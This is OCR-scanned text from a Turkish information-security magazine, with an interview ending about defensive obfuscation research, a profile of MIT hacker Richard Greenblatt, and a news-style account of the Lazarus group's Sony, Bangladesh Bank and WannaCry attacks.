Zaten ben bu obfuscation projelerini siirek-
li olarak defansif ¢oziimleri atlatmak i¢in
yazmadim. Eger amacim bu olsayd: daha
az gelismis bir proje yayinlayip her hafta
glincelleyerek defansif ¢oziimlerin giincel-
lemelerinin atlatilmasini saglardim. Bunun
yerine her projeye 6-9 ayimi verip tama-
men otomatik, olabildigince derin ve ¢ilgin
obfuscation yapabilecek héle getirip Oyle
yayinliyorum. Bu sayede defansif giiven-
lik¢iler yillarmmi giincelleme takip etmekle
harcamak yerine probleme temelden yakla-
sabilir.

Komik olan gu ki ¢ogu insan beni blue team
(defansif) degil red team (ofansif) mensubu
saniyor. Fakat ben bu obfuscation projeleri-
ni kendi tespit mekanizmalarimi test etmek i¢in yaziyorum.
Invoke-Obfuscation ve Invoke-CradleCrafter projelerini ya-
yinlamadan 6nce igeride bu sekilde kullandim. Bu senenin
baslarinda yaymladigim “Invoke-DOSfuscation” projesinin
yaninda bir de ona ait test projesi yayinladim. Boylece defan-
sif glivenlikgiler binlerce obfuscate edilmis saldir1 kodu tiretip
tespit mekanizmalar1 bunlarin kag tanesini tespit edebiliyor
gorebilir. Obfuscation arastirmalar: kolay bir is olmasa da
bana ve diger defansif glivenlikgilere ¢ok yardimei oldu.

Yeni proje? Son 1,5 yildir ara ara yeni bir obfuscation projesi
tizerinde ¢alistyorum ancak bunu yakin zamanda yayimla-
yacagimi sanmiyorum. Son zamanlarda icerideki tehdit avi
projelerine yogunlasmis durumdayim. Bunun yaninda konfe-
ranslarda vs. diger insanlara efektif tespit yontemlerini 6grete-
bilmek i¢in pek ¢ok workshop materyali hazirliyorum.

Favori programlama dilin nedir?

Powershell fanatigiyim :) Java, C++ ve C# da gelistirmis-
tim ancak en ¢ok Powershell ile eglendim. Saldirganlar da
Powershell'i cok sever, dolayistyla onlar1 avlarken onlarin sev-
digi dili bilmek isime yartyor. Bunun yaninda programlama
deneyimin yoksa Powershell baslangi¢ i¢in miithis bir dil. Esi-
me de tek satirlik Powershell komutlar1 6gretmistim. Bunlar
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sayesinde is yerinde birka¢ saat kazanabiliyor. Programlama
sadece hardcore gelistiriciler icin degildir. Ogleden sonralari-
ni1 temel bilgileri 6grenmek i¢in kullanabilen herkes i¢in keyif-
li ve basit olabilir.

Diinyanin her yaninda giivenlik konferanslarinda sunum
yapiyorsun. Bu yorucu olmuyor mu? Motivasyonun nedir?

Konferanslarda konusmak kariyerim boyunca yaptigim en
doyurucu ve yaratic aktivite.

Seyahatler yorucu olabiliyor. Ancak bu yolda tanistigim in-
sanlarla yaptigim sohbetler, 6grendigim yeni bilgiler beni
mental olarak yeniliyor. Konferanslarda yaptigim konusmalar
sayesinde diinyanin farkli yerlerinde ¢ok giizel sehirleri gezip
oradaki farkli hayat sartlarindan gelen giivenlik arastirmaci-
lariyla tanistim. Ek olarak her sene konferanslarda birebir go-
ristigiim dostlar kazanmami sagladi.

En bagtaki motivasyonum bilgi ve tecritbemi paylagmakti. Bu-
nun yaninda defansif giivenlikgilerin saldirganlardan daha iyi
korunmalarini saglamakt1 ki bu héla en biiyiik motivasyonla-
rimdan biri. Fakat sonradan fark ettim ki en iyi bilgi paylasim1
sahneden inince, katilimcilarla fikir aligverisinde bulununca
basliyor. Aslinda i¢ine kapanik biriyim ve kalabalik ortam-
larda kendimi yeni insanlara tanitmakta zorlaniyorum. Fakat
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insanlar kendilerini tanitirsa konugmakta zorlanmiyorum.
Konferanslardaki favori sohbetlerimin ¢ogu aslinda giivenlik-
le alakali bile degil, cogunlukla kiiltiirel ve hobi konular1. Eger
bu yaziy1 okuyorsaniz ve bir konferansta karsilagirsak, hava-
dan sudan konusmak igin bile olsa gelip merhaba demeniz
i¢in benim kisisel davetim olarak kabul edin.

Tiirkce konustugunu ve Tiirkiye'yi ¢cok sevdigini biliyorum.
Neden Tiirk¢e 6grendin, Tiirkiye’yi neden seviyorsun ve ile-
ride senin gibi olmak isteyen Tiirk genglerine ne tavsiyeler
vermek istersin?

Gezdigim yerler icinde en begendigim ve en ¢ok geri dondii-
gum yer Turkiyedir. Turk misafirperverligi miithis, insanlar
nazik, yemekler miithis ve her yerde lale seklindeki bardak-
larda ¢ay bulabiliyorsunuz. Tatilde Tiirkiyeyi ziyaret ettikten
sonra Universitedeki birkag Tiirk arkadasim bana biraz Tirkge
ogretti. Bunlar; iskenderinle ayran siparis etmek gibi, Uludag
ile Camlica gazozun farkini bilmek gibi, tikabasa dolu dol-
musta bozuk para hazirlamak gibi ya da tavsan kani ¢ay hazir-
lamak gibi 6nemli seylerdi. Gergegi sdylemek gerekirse ders
calistigim sirada Biilent Ortaggil dinlerken Eti Tutku yiyip ¢ay
igmeseydim mezun olamayabilirdim.

Son olarak, iyi bir aragtirma yapmanin %951 kararli olmak,
anlamak i¢in ¢ok vakit harcamak, problem ¢6zmek, kod ayik-
lamak, fikir ve sunum gelistirmektir. Fakat bunlar1 yaparken
aileyle, arkadaglarla zaman gecirmeyi ve hobilerinizi ihmal
etmeyin.

Bir sey sormak isterseniz ya da sadece “Merhaba” demek ister-
seniz Twitterda DM’m agik. Ogrenmeye ve bagkalarina yardim
etmeye devam edin. Unutmayin ki bilgi giivenligi diinyasinda
kendinizi gelistirmenin sirr1i: “damlaya damlaya gol olur”

Tiirk ogrencilere tavsiyem su olacak: Eger bilgi giivenligi ile ilgileniyorsaniz oniiniizde erisi-
minize agik simirsiz bir bilgi kaynagi mevcut. Ancak nereden baslayacaginiza karar vermek zor ola-
bilir. Kendi tecriibeme gore konferanslarda ya da Twitterda DM ile insanlara nereden baslamaniz
gerektigini sordugunuzda yardimci oluyorlar. En kétii senaryo cevap vermemeleri. En iyi senaryoda
ise ¢ok iyi sohbet edip arkadas olduk. Birbirimizden ¢ok sey 6grendik. Bu, izole kalmaktan daha
iyidir.

Diger bir tavsiyem de su: Giivenlik diinyasindaki bilgiler biitiinii asir1 genis ve derin. Ka-

tildigim konferanslardaki konusmalarin ¢ogunu kafam alamayabiliyor. Ciinkii o konusmalar
yaptigim isten farkli bir alanda ve kisisel zamammda bunu kesfetmeye ilgi duymuyorum. Bu
soziim sizi cesaretlendirmeli. Bir seyi bilmemekten korkmayn. “Bilmiyorum” kelimesi her hafta
defalarca soyledigim bir sey ve sansliyim ki is arkadaslarim da diiriist insanlar ve bilmedikleri
zaman bunu séyliiyorlar. Giivenlikte odaklanabileceginiz ¢ok farkl: alan var. Bunlardan birine
odaklanip digerlerini gozden kagirmaniz, sizi diger alanlara odaklanan insanlardan daha iyi ya
da daha kotii yapmaz.
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Richard Greenblatt

Eski Hacker’lardan Kim Kaldi?

“ ichard Greenblatt, Bill Gosper, Lee Felsenstein ve John Harris gibi hackerlar bilisim ruhunun ta kendisidir. Inaniyo-
Rrum ki, onlarin hikayeleri, vizyonlari, makinenin kendisiyle sahip olduklari yakinligi, kendi tuhaf diinyalarindaki
deneyimleri, ve dis diinyayla olan bazen dramatik bazen absiird “arayiizleri”, bilgisayar devriminin gercek hikaye
sidir.”

- Steven Levy, HACKERS: Heroes of the Computer Revolution
Herkese merhaba, tiglincii sayida yer alan yazimizda hacker kavraminin dogdugu yer olan MIT'den (Massachusetts Institute
of Technology), burada bulunan AI Labden (Artificial Intelligence Lab- Yapay Zeka Lab1) ve TMRCden (Tech Model Railro-
ad Club - Teknik Demiryolu Model Kuliibii), PDP-1, PDP-6 ve TX-0 gibi DEC (Digital Equipment Corporation) tarafindan
iiretilen bilgisayarlardan; hack kiiltiiriiniin temellerinin atilmasindan (bu temeli atanlar 6zellikle TMRC’nin Signal and Power
Subcommittee adi verilen alt boliimiin mensubu olan ve sonradan programlamaya yonelenlerdi), ve bu temelleri atan nadide

insanlardan olan Bill Gosper’in hayatindan bahsetmistik.

Hatirlatma mahiyetinde kiigtik bir giris yapalim. Bahsi ge¢mis olan ve gegecek kisiler (Richard Greenblatt, Alan Kotok, Peter
Samson ve daha niceleri..) 50-60’l1 yillardan baslamak iizere yaptiklar1 olaganiistii seylerle tarihe ge¢mis; hack idesi ve hacker
etigini gelistirmis kisilerdir; bu insanlar hack kavramini doguran gercek hackerlardir. Kisaca tekrar etmek gerekirse hack ve
hacker kavramlarini gu sekilde agiklayabiliriz: “oyuncu bir

zeka katilarak yapilan herhangi bir aktivitenin hack degeri

vardir; bunu yapan kisiye de hacker denir”. Bu yazida ise ad1

sik sik Gosper ile birlikte anilan, satrang ustasi ve amator

radyo tutkunu olan efsanevi bir hackerdan bahsediyor ola-

cagiz. Hanimefendiler ve beyefendiler, karsinizda Richard

Greenblatt!

Richard D. Greenblatt, 25 Aralik 1944’te Portland,
Oregonda dogar ve birka¢ yil sonra ebeveynleri bogandik-
tan sonra annesi ve kiz kardesiyle Columbia, Missouri’ye
yerlesir. Greenblatt'n asil bityiidiigii yer olan Columbia, St.
Louis ve Kansas Citynin arasinda bulunan bir tiniversite
kentidir; o donemde kentin niifusunun yarisini 6grenci-
ler olusturmaktadir. Greenblatta gore bu yer, biiyiimek
i¢in idealdir. Babas1 Philadelphiadan Columbia’ya ziyarete
geldiginde 9 yasindaki Greenblatt1 University of Missouri
Student Uniona gotiiriir ve Greenblatt yasitlarinda bula-
madig1 zekayr tniversite 6grencilerinde bulur; 6zellikle
satrangta ¢ok iyidir, hatta buradaki tiniversite 6grencilerini
yenmekte sikint1 bile ¢cekmez. Satrancta yendigi insanlar-
dan biri olan Lester adindaki bir University of Missouri
Ogrencisi, Greenblatta elektronik diinyasina dalmasini
saglayacak bir kitap hediye eder. Ikili daha sonra birlikte
amator radyo (nam-1 diger ham radio) yapimiyla ugrasir.
Universitesinin bitimine geldiginde Lester, Greenblatt’ ye-




rel radyo ditkkani sahibi Bay Houghton ile tanistirir ve lise bo-
yunca burasi Greenblatt'in ikinci evi olur. Greenblatt burada
bir arkadasiyla birlikte amplifikatorlerden modiilatorlerlere,
osiloskoptan ham radyolara bir siirii proje yapar. Nihayet lise
biter ve {iniversite segme zamani gelir.

1962 yilnin giiziinde Richard Greenblatt MITde 6grenim
gormeye baglar. Zorlu ilk sinif derslerini kolaylikla halleder
ve sanshidir ki EE 641 kodlu Introduction to Programming
(Programlamaya Giris) se¢meli dersini alabilir; boylece sik-
likla IBM 7090’a program yazmak i¢in punch-card makine-
lerine gider. Ayn1 zamanda oda arkadas1 olan Mike Beeler
da Nomography dersi aliyordur ve Greenblatt, IBM 1620’ye
giderken Beelera eslik eder: burada kart destenizi deldirmek
(puching) i¢in sira bekler ve sira size geldiginde bu kartlar:
okuyucuya koyup anlik olarak ¢ikti alabilirdiniz.

Insanlarin baska seyler -mag izlemek ya da arkadaslarla bira
igmek gibi- yaparken hissettigi biiytik tutkuyu Beeler ve Gre-
enblatt burada hissediyordu. 1962 Aralik ay: civari, Noel za-
mant yaklastiginda Greenblatt TMRCde takilabilecek rahat-
liga ulagir ve Peter Samson'un FORTRAN ile IBM 7090 igin
yazdig1 bir tarifelendirme programinin PDP-1'da da yazilabil-
mesi i¢in bir PDP-1 FORTRAN compiler (derleyici) yazar
(bu compiler FORTRAN’1 Makine Dili'ne makinenin cevap-
larini da geri FORTRANa ¢evirebilir). Boyle bir ise kalkisma-
siin 6zel bir nedeni yoktur; “bir makinenin bir isi yapmasini
istiyorsaniz lakin makine onu yapabilecek yazilima sahip degil-
se, gereken yazilimi siz yazarsiniz ki o is yapilabilsin”.

Richard Greenblatt, tiniversitedeki ilk yilinda ¢ok da fazla
caba sarf etmeden iistiin basarili bir grenci olmugtu bile. Uni-
versite ikinci sinifta Greenblatt AI Labde asgari iicretin bile
altinda bir maas ile ¢alismaya baslamisti. Diger birkag hacker
gibi sistem {izerinde veya yapay zeka iizerine yazilmis biiyiik
biiyitk programlar: gelistirmek iizerine ¢alisiyordu.

Main Street’te bulunan Tech Square ad1 verilen adeta bir hack-
leme manastir1 vardi ve buraya MIT ve kurumsal miisteriler
disinda bir de Project MAC ve ikinci bir PDP-1 taginiyordu.
Bilgisayarlar buradaki 9. katta bulunuyordu ve bilin bakalim
burada en ¢ok zaman harcayan hacker kim? Dogru, Richard
Greenblatt! Greenblatt ¢ok yogun sekilde hackliyor idi; 30 saat
boyunca durmadan calisiyor, yorgunluktan tiikeniyor, sonra
da eve gidip (ya da direk labda) deyim yerindeyse yikilip 12
saat uyuyordu. Bu 30-saatlik-giin tabii ki toplantilar, sinavlar
veya dersler gibi diger planlanmus islere uymuyordu. Greenb-
latt o kadar kopmustu ki annesi Columbiadan MIT’ye oglu-
nun durumunu dekanla tartigmak i¢in geldi (ki bu, o zamanin
kosullarini da goz 6niinde bulundurursak arabayla yaklasik 20
saate tekabiil ediyor). Greenblattin oda arkadas1 Beeler'in bah-
settigi kadariyla annesinin epey endiseli oldugunu anlayabili-
yoruz. Okulunun - mezuniyetinin tehlikede oldugu gercegi

Cansu Topukgu - Richard Greenblatt ARKA KAPI

her ne kadar dogru olursa olsun Greenblatt i¢in bu hi¢bir sey
ifade etmiyordu; sonugta hacking onun i¢in her seyin zirve-
siydi ve herhangi baska bir sey onu bu denli mutlu edemezdi.

Steven Levy'nin HACKERS: Heroes of the Computer Revo-
lution kitabinda da dedigi gibi; goziiniizde dersleri baska bir
yere koyan bir baska seyle karsilastiginiz zaman dersleri bir
kenara atabiliyorsunuz. Greenblatt’a da tam olarak boyle oldu.
Konu hacking’in / hacklemenin ta kendisiydi. Sadece Greenb-
latt degil, onun yan1 sira TMRC veya PDP-1"1n basinda vakit
geciren herhangi birinin diigiincesine gore “hacking o kadar
tatmin edici bir arayistir ki, bir yagam bi¢imi bile olabilir” s6y-
lemi oldukga tutarliyd: ve bu gayet acik¢a goriilebilirdi. Bir
glin uyuyakaldigi i¢in bir final sinavina giremediginde her sey
inceldigi yerden kopmus oldu: Greenblatt artik MIT nin biin-
yesinde bir 6grenci degildi.

“..hacking, sadece sistem hakkinda bir anlayis1 degil,
ayni zamanda bagimhilik yaratici bir kontrolii ve bunun-
la birlikte tam kontroliin sadece birka¢ ozellik uzakta ol-

dugu yamisamasini da beraberinde getiriyordu.”

- Steven Levy, HACKERS: Heroes of the Computer Re-
volution

Artik MIT'de 6grenci olmayan Greenblatt is aramaya basladi:
glindiiz program yazip gece de Tech Square’in 9. katinda (bil-
gisayarlarin baginda) vakit gecirmesine olanak saglayabilecek
bir is. Nitekim buldu da: Richard Greenblatt Charles Adams
Associatesda ¢alismaya boylece baslamis oldu. Greenblatt giin
boyu Bostonda sehir disindaki “Technology Highway”de, ge-
celeriyse buradan 48 kilometre uzaktaki MITde (yasasin gece-
lerce hacklemek!) bulunuyordu. Charles Adams Associatesdaki
gorevi sona erdiginde MIT AI Lab tarafindan tekrar ige alin-
di. Her ne kadar Belmont'ta emekli bir dis¢inin evinde pansi-
yoner olarak ikamet ediyor olsa da, genelde Tech Square’in 9.
katinda portatif bir karyolanin istiinde uyuyordu. Acikeast
Greenblatt'in oncelikleri farkliyd:: temizlik, 6rnegin, banyo
yapmak geri plandaydi. Ayni sebepten otiirti ~odasini temiz tu-
tamadig1 icin~ Cambridge YCMAdeki yurtlardan da kap: disar1
edilmigligi vardi. Greenblatt kendini tamamen hackinge ada-
mistt. Konusma diizeni garipti, mirildanir gibi konusuyordu ve
diizgtin konusmaya ¢alismasi bocalayip takilmasindan bir seye
yaramiyordu. Gosper, Kotok ve Samson gibi diger hacker’lar
Greenblatt'in bu 6zelliklerini benimsemislerdi, onlara gore sirin
bir komikligi bile vardi. Gosper’in dedigi gibi: “O tam bir prag-
matist. Insanlar istedigini diisiinebilirler, onun aptal oldugunu
diisiiniirseniz bu sizin probleminizdir. Boyle diisiinenler oldu ve
hatalilards...”. Gosperdan bu kadar bahsetmigken Greenblatt'in
onunla olan baglantisina da biraz deginmek fena olmaz.
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Bill Gosper ve Richard Greenblatt. Iki hacker, iki usta. Bill
Gosper: diizgiin konusmakla ugrasmayan Greenblatt'tan daha
iyi konusabilen matematik dehas:. Birbirlerinin giiglii ve farkli
yonlerine saygi duyan bu efsanevi ikili iki farkli hacking tiiriinii
temsil ediyordu: Gosper matematiksel kesfe dayali calisirken,
Greenblatt pragmatik sistem gelistirme tizerine yogunlasmigt.
Ikisi de herkesin en iyi tarafinin kullanildi1 -genelde birlikte
calistiklari- projerlerde yer aliyordu. Bu ikiliye; Tech Square'in
9. katinda filizlenmis nadide bir ¢icek olan The Hacker Ethic’i
(Hacker Etigi) sulayip 6zenle biiyiittiikleri icin tesekkiirii borg
biliriz! Bu goérkemli teknoloji yuvast sayesinde Hacker Ethic
zirvesine kadar ilerleyebildi. Burada bulunan TMRCde ha-
raretli miinakagalar ediliyor ve The Right Thing (Dogru Olan
Sey) bulunmaya ¢alisiliyordu. Bunlardan diger yazimizda da
bahsetmistik ama dilerseniz {istinden gegelim. Bu tartigmalar
¢ok kiymetliydi: mesela, DECde ¢alisan Alan Kotok sik sik Tool
Roomda bulunurdu, hatta PDP-6’in tasarimi hakkinda dnemli
kararlar1 buradaki miinakagalar esnasinda almigti. Gosper’in da
Greenblatt'in de gayet giiglii argiimanlar: vardi. Lakin, Greenb-
latt bir siire sonra bu “yipratici insan arayiiziiyle ugrasmaktan”
yorulup gidip bir seyler yapmaya baslards, bu eline kagit kalem
alip bir seyler karalamak ya da PDP-1 konsolunun basina otu-
rup kodu bagirarak yazmak olabilirdi. Zariftir, ya da degildir:
Greenblatta gore isler halledilmeliydi. Yazdig1 programlar, i¢in-
de hata kontrolii (built-in error check) olan, temeli saglam ve
bittiginde sikica debug edilmis programlardi. O kadar sikilar-
d1 ki Gosper ara sira Greenblattin sirf debug etmek i¢in bug’h
kodlar yazdigini bile diistiniiyordu.

Greenblatt'n daha sonra John McCarthy’nin yapay zeka dili
olan Lispin PDP-6da derlenebilmesi i¢in LISP compiler1
yazilmasinda birka¢ tane hacker ve Alan Kotok ile birlikte
yer aldr (ki asil isi Greenblatt ve bir hacker daha yapmusti).
TMRCdeki siyah tahtalar satirlarca kodla dolmustu ve en
nihayetinde compiler makinede isliyordu iste! Hackerlar bu
MacLISP dilini yazdiklar1 programlara, hatta hayatlarina bile
entegre etmeye baglamiglardi. Onermelerde kullanilan ‘pyi ele
alalim mesela. “Yemek yiyelim mi?” demek yerine “Yemek-p”
demek onlar i¢in ayni seyi ifade ediyordu. Lisp Assembly’nin
pabucunu dama atmamisti belki ama Gosper ve Greenblatt'n
da anladif: tizere, Lisp Hacker Ethic i¢in birebirdi.

Greenblatt hayat1 boyunca ¢ok iyi bir satrang oyuncusu ol-
mugtu. Ayn1 zamanda efsanevi bir hackerd: da. Satrang ve
hacking neden birlegsmesindi ki? Boylece “iyi oyun hamlesi”
olarak kabul ettigi belirli kriterlere gore hareketleri deneyen
ve ¢ozmeye calisan, sofistike yapay zeka tekniklerini kulla-
nan bir satrang programi yazdi. Program bir hafta icerisinde
gercek oyuncuya karst oynayabilecek seviyeye geldi. Bundan
sonraki birka¢ ay icerisinde debug edildi, birtakim 6zellikler
eklendi, eli yiizii diizeltildi ve boylece Mac Hack hayat bulmus

oldu! “Yapay Zeka kuskucusu” Hubert Dreyfus bilgisayarla-
rin kaliteli bir satrang oyunu ¢ikartamayacagi, 10 yasindaki
bir ¢ocugu bile yenemeyecegi goriisiinii savunuyordu (iini-
versitelileri yendigi zaman Greenblatt'n 9 yasinda oldugunu
unutmayalim). Bunun {stiine MIT Dreyfus'u PDP-6’te Mac
Hacke kars1 satran¢ oynamasi i¢in davet etti. Sonug: sah-mat !
Dreyfus kotii bigimde yenilmisti. Bu magta yapilan hamlelere
ve daha detayli bilgilere bu linkten [https://bit.ly/2zZNMR66 -
https://ingram-braun.net/public/research/parlour-games/
article/computer-chess-richard-greenblatt-match-mit-
philosophy-artificial-intelligence-history/ ] ulasabilirsiniz.
Peter Samson Dreyfus'un yenildigi ani $6yle anlatiyor: “Yenil-
mis olan elestirmen doniip profesorlere ve aralarinda prog-
ramin yaraticist Greenblattn da bulundugu hacker ekibine
bakt1 ama hi¢bir cosku goremedi; ne bir alkis, ne bir kutlama.
Goze zaferi sokan higbir sey yoktu. Ctinkii biliyorlard:.. Drey-
fus, bilgisayarlarin biiytileyici dogasini anlayamayan o Gergek
Diinyanin bir parcastydi. Kuskucu insanlarin Hacker Ethice
inanmalarini saglamak, Hacker Ethic’i yasamak kadar ilgi ce-
kici degil. Gergek Diinyadakiler “30-saatlik-giin” adanmisligi-
na sahip Assembly dili mezhebini, bilgisayarin yaninda rahat
olup bir seyler kesfetmeyi, diinyay1 daha iyisi i¢cin daha farkli
kilmayi, Gosper’larin, Greenblatt’lerin deneyimlerinin nasil
hissettirdigini; hacker olmayi bilemeyeceklerdi” 1977 yilin-
daysa yenilgisiz Bobby Fischer Greenblatt'in programina karsi
ti¢ kere oyun oynadi ve {igiinii de yendi.

1979 yilinda Tom Knight ile MIT Lisp Machine’in ana gelisti-
riciligini yapt1 ve Lisp Machines, Inc. adli bir sirket kurdu (ki
bu sirketin ad1 daha sonra Gigamos Systems olarak degistiril-
di). Daha sonralardaysa Tom Knight ve Stewart Nelson ile bir-
likte PDP-6 ve PDP-10 igin son derece etkili bir zaman payla-
sumli igletim sistemi olan Incompatible Timesharing System’in
yazilmasinda yer ald1.

“Multi milyon dolarlik makineleri dize getirenlerden, 1950’ler-
de banliyo yatak odalarimdaki bilgisayarlarda ustalasan ¢agdas
geng biiyiiciilere kadar bu dijital kasifler arasinda ortak bir ele-
ment, bilgisayarin kendiliginden akan mantigina baglh goriinen
ortak bir felsefe buldum. Paylasma, agiklik, ademi merkeziyetgi-
lik ve maliyeti ne olursa olsun onlar: ve diinyay1 iyilestirmek i¢in
makinelere el atma felsefesiydi bu. Hacker Ethic onlarin bize bir
hediyesidir: bilgisayarlarla hig ilgisi olmayanlar icin bile degerli
bir sey. ” -Steven Levy

Kaynaklar:

http://www.computerhistory.org/collections/catalog/102657935

https://en.wikipedia.org/wiki/Richard Greenblatt (programmer)

Steven Levy, HACKERS: Heroes of the Computer Revolution kitab:

https://www.ithistory.org/honor-roll/mr-richard-d-greenblatt
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Kuzey Koreli Hacker Grubu Lazarus

Onur Oktay - onuroktayl4@gmail.com

Lazarus, Hristiyan teolojisinde Hazreti Isamin dldiikten sonra dirilttigi havarisinin ads.
Lazarus hacker grubu ismini nereden aldi bilinmez, ancak neredeyse yarum yiizyildir
sessizligini koruyan bir iilkenin,Kuzey Korenin, iizerinden 0lii topragini attiginin bir

isareti olarak degerlendirmek, pek de yanhs olmayacaktir. Zira bu hacker grubu vasitasi
ile Kuzey Kore'nin ekonomik girdi saglamak bir yana, siber espiyonaj faaliyetlerini de
yiiriittiigii sik¢a rastlanan iddialar arasinda yer aliyor. Onur Oktayin kaleminden Lazarus
hacker grubu ve icraatlarimin giizel bir 6zetini sizler i¢in derledik.

Pictures'in CEO’su Michael Lynton’a mail atarak, “ bizim kim oldugumuzu biliyorsunuz ve istedigimizi yapmazsaniz

Lazarus Hacker Grubunu ilk olarak 2014 yilindaki Sony Pictures Saldirisinda tanidik. 21 kasim 2014 yilinda Sony
saldiriya baslayacagiz” mesajini biraktilar. Tabii Sony CEO’su durumu o an ¢ok ciddiye almamuis olsa gerek.

y Pictunes Entertainmant Inc, - Inbax.mbax
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We've got great damage by Sony Pictures.
The compensation for it, monetary compensation we want,
Pay the damage, or Sony Pictures will be bombarded as a whaole,
You know us very well. We newver wait long.
You'd better behave wisely.

From God'sApstls
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Lazarus, tehdit etmekle kalmayip harekete gegeceklerini ispat ~ zarus Hackerleri Kuzey Kore lideri Kim Yongun Hollywood
etti ve harekete gectiler. [lk saldir1 geldi. Sony Pictures’in su-  tarafindan gekilen filmi “The Interview”in yayindan kaldiril-
nucularina ve agina s1zip mesaj biraktilar. masint talep ettiler.

Bu olaydan sonra Sony inceleme baglatt1 ve FBI dahil birgok  Artik bilmece ¢6ziillmustii. Olayin arkasinda Kim Yong-un ve
yerden destek istediler. Lazarus Grubu da bu arada bos dur- Kuzey Kore oldugu biliniyor ancak hackerlerin izi siiriileme-
mad: ve Sonye ait ellerindeki gizli belgeleri yayimlayacakla-  digi i¢in ispat edilemiyordu.

rini belirttiler. Lazarusun hacker’lari, Sony’i filmi yayimdan kaldirip higbir iil-

Bu sirada Sonyde bu hackerlerin tam olarak kendilerinden ne  kede gosterime sokmamasi konusunda tehdit ediyor, Aksi halde
istediklerini anlamaya ¢alistyordu. Neden saldiriyorlardi ve ne  ellerindeki belgeleri internete sizdirmakla tehdit ediyordu.
istiyorlar? Tam da bu esnada yeni bir kontakt kuruldu ve La-

SETH ROGEN JAMES FRANCO
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Sony tabii ki filmi yayindan kaldirmadi ve beklenen sizma
geldi. Lazarus Sony’in tiim st diizey ¢aliganlar1 dahil herke-
sin ne kadar maas aldigini sirkette neler dondiigiinii kimin
elinin kimin cebinde oldugunu anlatan bir belgeyi internete
sizdird1.

g1 (heniiz gosterime girmeyen filmler) sunucuya saldirip, ele
gecirdigi filmleri torrenta yiikleyerek yapti. Sony inanilmaz
sekilde para kaybediyordu ve film yapimcilariyla aralar1 agil-
mistl. Bu arada hackerler sizdiklar1 sunucularda sadece yeni
filmleri degil, Brad Pitt gibi Ginlii isimlerin cep telefonu, ev
adresi gibi bilgileri de ele gecirmis ve internete sizdirmisti.

SPHE INTERNATIONAL OFFICES

Japan Michi
Masaki
Moriko

France Flora '
Isabelle

Germany Cora |
Angela

Italy Michela |
Simona

Spain Abaira '
Marival

Thailand |Anchaliga |

China |Jusline |

Korea |Jae |

Mexico |Sharon |

Brazil |Gisele |

Sony ifsa olan belgelerin ardingan sirketin borsadaki hisse se-
netlerinde biiyiik bir diisiis yasadi. Sirketin i¢i kayniyor, gizli
bilgiler, maaslar, sirket yoneticilerinin bilgileri ve planlari in-
ternette herkese acik sekilde geziyordu. Yaganan diinya devin-
de hem prestij hem de para kaybina neden oluyordu. Sony iyi-
ce kizmis ve filmi yayindan kaldirmama karari alarak bir nevi
Lazarus’a meydan okumaya karar vermislerdi.

Ancak bu Sonye ¢ok pahaliya patlayacakti. Lazarus topuyla
tiifegiyle saldirmaya bagladi. ilk etapta Sony PlayStation Net-
work hack edildi ve binlerce kullanicinin hesap bilgileri in-
ternete sizdirildi. Daha sonra sirasiyla tiim Sony ag1 ve Sony
alt sirketleri hackleniyor, DDoS saldirilarina maruz kaliyor,
PlayStation dahil kullanicilarin yogun olarak bagh oldugu pek
¢ok ag saldirilar neticesinde servis dig1 kaliyordu.

Lazarus altin vurusunu Sony’in yeni ¢ikacak filmleri sakladi-

Sony havlu atmak zorunda kaldi. Kuzey Kore liderinin haya-
tin1 anlatan “The Interview” ise ABD dahil pek ¢ok iilkede
goOsterime giremedi. Lazarus istedigini bir sekilde elde etmisti.

Lazarus artik herkesin giindemindeydi ve hacker grubu bir
stire ortadan kaybolduktan sonra diinya tarihine gececek bir
saldir1 daha gergeklestirdi.

“Banglades Merkez Bankas1” olay1.

2016 yilinda Lazarus grubu bu defa hedef olarak Banglades
Merkez bankasini se¢misti. Merkez bankasinin sistemine girip
80 Milyon Dolar caldilar.




Peki bu nasil olmustu? Koca banka nasil
hacklenmisti?

Lazarus oOncelikle Banglades Merkez Bankasrnin SWIFT
6deme agina sizmis; ag lizerinde kontrol saglayan akilli rou-
ter’lerina uzaktan erisim elde etmisti. Ustelik bunu yaparken
bankanin firewall gibi kritik giivenlik cihazlarinin ¢alismi-
yor olmasi iglerini iyice kolaylagtirmisti. Lazarus hackerleri
ag trafigini siiziiyor, araya istedikleri gibi giriyor ve islemlere
miidahale edebilecek seviyede hak yiikseltme islemi yapabili-
yorlardi.

Isin kotii tarafi bankanin hack edildigini dahi anlamamus ol-
masayd1. Fakat ortada ¢alinmis paralar ve siipheli 20 kisiye ait
hesap bilgileri vardi. Fakat paralar hi¢bir zaman ortaya ¢ikma-
di. FBI bu olayin arkasinda da Kuzey Kore oldugunu iddia etti.

Ve WannaCry..

Ortalig1 kasip kavuran, FBI'in bilgisayarlar1 dahil diinya {ize-
rinde binlerce bilgisayara bulasan meshur fidyeci viriis. Wan-

WannaCry

Global Cyber Attacks
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naCry’inde Lazarus'un isi oldugunu bu sefer sadece FBI degil,
Kaspersky de iddia etmisti.

WannaCry iizerinde yogun arastirmalar yapan Rus siber gii-
venlik firmas1 Kaspersky bununla ilgili ciddi raporlar hazir-
lamigti. Kaspersky, WannaCry ile Lazarus Hacker grubunun
baglantist oldugunu agikladi.

WannaCry zararl yazilimi sayesinde diinyanin her yerinden
fidye topluyor ve bunlar1 kripto para tiirlerinin en meshurla-
rindan BitCoin ile tahsil ediyorlardi. FBI dahil pek ¢ok kurum
héla Lazarus’u ariyordu ancak para trafigi ve baglantilar bir
tirld desifre edilemiyordu.

Grup artik iyiden iyiye efsane olmus ve aradan gecen iki yila
ragmen yakalanamamisti. Aksine para trafigi biyiimiis ve
gliclenmisti. Giivenlik aragtirmacilar1 grubun arkasinda mut-
laka bir “devlet” giicii oldugunu bunun da Kuzey Kore olabi-
lecegini iddia ediyorlardu.

WannaCryden ytiklii miktarda gelir elde eden grup, goziinii
kripto para piyasasina ¢evirmisti. Hedef ytiklii miktarda kripto
para elde etmekti. Bunun tizerine kesif ¢alismalar1 yapan grup
goziine Group-IB sirketine ait kripto para borsasini kestirdi.
Borsanin sunucularina erisim saglayan grup, tim paralari
birbirinden farkli hesaplara aktararak, kasay1 bosalttilar.

Arastirmalar Lazarus hacker grubunun kripto para piyasasin-
dan ¢aldig1 para miktarinin 600 milyon dolara yakin oldu-
gunu belirtiyor.

What Has Happened So Far
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Bayram Gok — bayram@arkakapidergi.com
. Dunya Savasi'nin

Kriptoloji Cephesi:

Enigma Sifreleme Makinesi
E .

O, insanin icat ettigi makinelerin en iinliilerinden bir tanesi. O, kriptolojinin adr unutulmayacak
